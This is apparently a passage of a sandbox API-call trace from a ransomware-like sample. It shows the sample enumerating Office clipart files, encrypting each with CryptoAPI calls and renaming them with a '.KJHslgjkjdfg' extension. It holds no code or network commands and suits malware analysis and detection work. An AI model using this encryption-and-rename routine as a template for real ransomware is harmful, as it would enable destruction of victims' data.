dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.288] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.288] GetProcessHeap () returned 0x2ef0000 [0215.288] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.288] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.288] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.290] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.290] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.290] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x64c, lpOverlapped=0x0) returned 1 [0215.290] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x650, dwBufLen=0x650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x650) returned 1 [0215.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.290] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x650, lpOverlapped=0x0) returned 1 [0215.290] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.291] SetEndOfFile (hFile=0x130) returned 1 [0215.294] GetProcessHeap () returned 0x2ef0000 [0215.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.294] GetProcessHeap () returned 0x2ef0000 [0215.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.kjhslgjkjdfg")) returned 1 [0215.296] CloseHandle (hObject=0x130) returned 1 [0215.296] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1 [0215.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.299] GetProcessHeap () returned 0x2ef0000 [0215.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.302] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.315] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.333] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.333] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.333] GetProcessHeap () returned 0x2ef0000 [0215.333] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.333] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.333] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.333] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.334] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.334] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.334] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.334] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.334] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.334] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.334] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7658, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7658, lpOverlapped=0x0) returned 1 [0215.349] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7660, dwBufLen=0x7660 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7660) returned 1 [0215.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.349] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7660, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7660, lpOverlapped=0x0) returned 1 [0215.350] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.350] SetEndOfFile (hFile=0x130) returned 1 [0215.353] GetProcessHeap () returned 0x2ef0000 [0215.353] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.353] GetProcessHeap () returned 0x2ef0000 [0215.353] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.kjhslgjkjdfg")) returned 1 [0215.354] CloseHandle (hObject=0x130) returned 1 [0215.355] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1 [0215.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.356] GetProcessHeap () returned 0x2ef0000 [0215.356] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.356] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.356] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.474] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.474] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.474] GetProcessHeap () returned 0x2ef0000 [0215.476] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.476] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.476] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.476] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.476] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.476] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.477] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.477] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x23f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x23f8, lpOverlapped=0x0) returned 1 [0215.548] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2400, dwBufLen=0x2400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2400) returned 1 [0215.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.548] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2400, lpOverlapped=0x0) returned 1 [0215.548] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.548] SetEndOfFile (hFile=0x130) returned 1 [0215.551] GetProcessHeap () returned 0x2ef0000 [0215.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.551] GetProcessHeap () returned 0x2ef0000 [0215.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.kjhslgjkjdfg")) returned 1 [0215.553] CloseHandle (hObject=0x130) returned 1 [0215.554] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1 [0215.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.555] GetProcessHeap () returned 0x2ef0000 [0215.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.555] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.581] GetProcessHeap () returned 0x2ef0000 [0215.582] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.582] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.582] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.582] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.583] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x788, lpOverlapped=0x0) returned 1 [0215.583] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790, dwBufLen=0x790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790) returned 1 [0215.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.583] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x790, lpOverlapped=0x0) returned 1 [0215.583] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.583] SetEndOfFile (hFile=0x130) returned 1 [0215.586] GetProcessHeap () returned 0x2ef0000 [0215.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.586] GetProcessHeap () returned 0x2ef0000 [0215.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.kjhslgjkjdfg")) returned 1 [0215.589] CloseHandle (hObject=0x130) returned 1 [0215.589] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1 [0215.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.590] GetProcessHeap () returned 0x2ef0000 [0215.590] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.590] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.590] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0215.593] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.593] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.593] GetProcessHeap () returned 0x2ef0000 [0215.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.593] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.593] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.593] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.593] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, 